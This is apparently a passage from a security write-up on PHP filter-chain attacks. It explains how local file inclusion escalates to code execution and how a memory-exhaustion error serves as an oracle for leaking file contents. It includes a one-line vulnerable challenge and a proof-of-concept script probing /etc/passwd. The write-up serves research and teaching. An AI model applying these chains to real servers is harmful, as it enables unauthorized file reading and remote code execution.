text stringlengths 0 1.99k |
|---|
+---------------------+---------------------+ |
| Remove invalid Base64 chars |
v |
+-------------------------------------------+ |
| [Stage 3] convert.base64-decode | |
+-------------------------------------------+ |
| 0aba 28b7 | 1d34 ae8a | 2dfe ba28 | b7f6 | |
+---------------------+---------------------+ |
| Encoded result |
v |
+-------------------------------------------+ |
| [Stage 4] convert.base64-encode | |
+-------------------------------------------+ |
| *C*rootx00root/root/bin/bash [...] | |
+-------------------------------------------+ |
Once @loknop fired the opening shot, the Infosec community started |
actively filling in the remaining puzzle. First, @wupco quickly compiled a |
complete Base64 mapping table [64]; then @remsio took a step further, |
exploring how this technique could be leveraged in deserialization attacks |
[65] along with a detailed writeup. |
Thanks to these amazing hackers, exploiting LFI no longer requires any |
actual "Local File" at all. Even if the entire filesystem is read-only, it |
still can't stop a LFI from escalating into RCE. But what impressed me |
most was that, while everyone else was still focusing on refining |
temporary-file tricks, @loknop took a completely different approach - |
diving deep into filter chains until he finally conquered this |
long-standing problem. For that, I think he deserves some serious respect! |
============================== |
| Level 2 - The End of AFR | |
============================== |
And just when everyone thought solving one tough problem was impressive |
enough, @hashkitten quickly took filter chains to another whole new level. |
He created what might be the shortest PHP challenge ever: |
-----------------------------[ minimal-php ]------------------------------- |
<?php file($_POST[0]); |
--------------------------------------------------------------------------- |
At first glance, you might think it's just a typical Arbitrary File Read |
(AFR). But the real twist here was figuring out how to exploit it with no |
output at all. Unsurprisingly, nobody managed to solve this challenge |
during the competition. It wasn't until @hashkitten revealed his solution |
[66] that everyone realized they needed to completely redefine what they |
understood about filter chains. |
The entire attack was built around another idea - since filter chains can |
already *filter* the content (just like Base64 ignores invalid |
characters), could there be any way to leak the result as well? Actually, |
by intentionally hitting PHP's memory allocation limit, @hashkitten was |
able to trigger an error! To demonstrate that his idea worked, he came up |
with two brand-new filters: |
- [ Filtering ]: The `dechunk` filter removes an entire line if it |
doesn't start with hexadecimal. |
- [ Amplifying ]: The `convert.iconv.UCS-4LE` encoding expands the |
string length by four times. |
So by first applying the `DECHUNK` filter, and then amplifying the result |
over and over, you can turn PHP's behavior into a side-channel oracle - to |
figure out whether the file's first character is within the valid |
hexadecimal range or not! |
+---------------------[ Use PHP Error as an Oracle! ]---------------------+ |
=> [1] Preparing the Oracle filter chains... |
$ cat check-first-char-is-hex.php |
<?php |
file(implode('|', [ |
// [*] becomes empty if the first byte is not in hexdigits |
'php://filter/dechunk', |
// [*] repeat many times as needed |
'convert.iconv.L1.UCS-4LE', |
'convert.iconv.L1.UCS-4LE', |
'convert.iconv.L1.UCS-4LE', |
// [...] |
// [*] append the target |
'convert.iconv.L1.UCS-4LE/resource=' . $argv[1] |
])); |
|-------------------------------- [ next ] -------------------------------| |
=> [2] the first byte of `passwd` is not in hexdigits |
$ php check-first-char-is-hex.php /etc/passwd |
PHP Fatal error: Allowed memory size of 134217728 bytes exhausted |
(tried to allocate 94371840 bytes) in [...] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.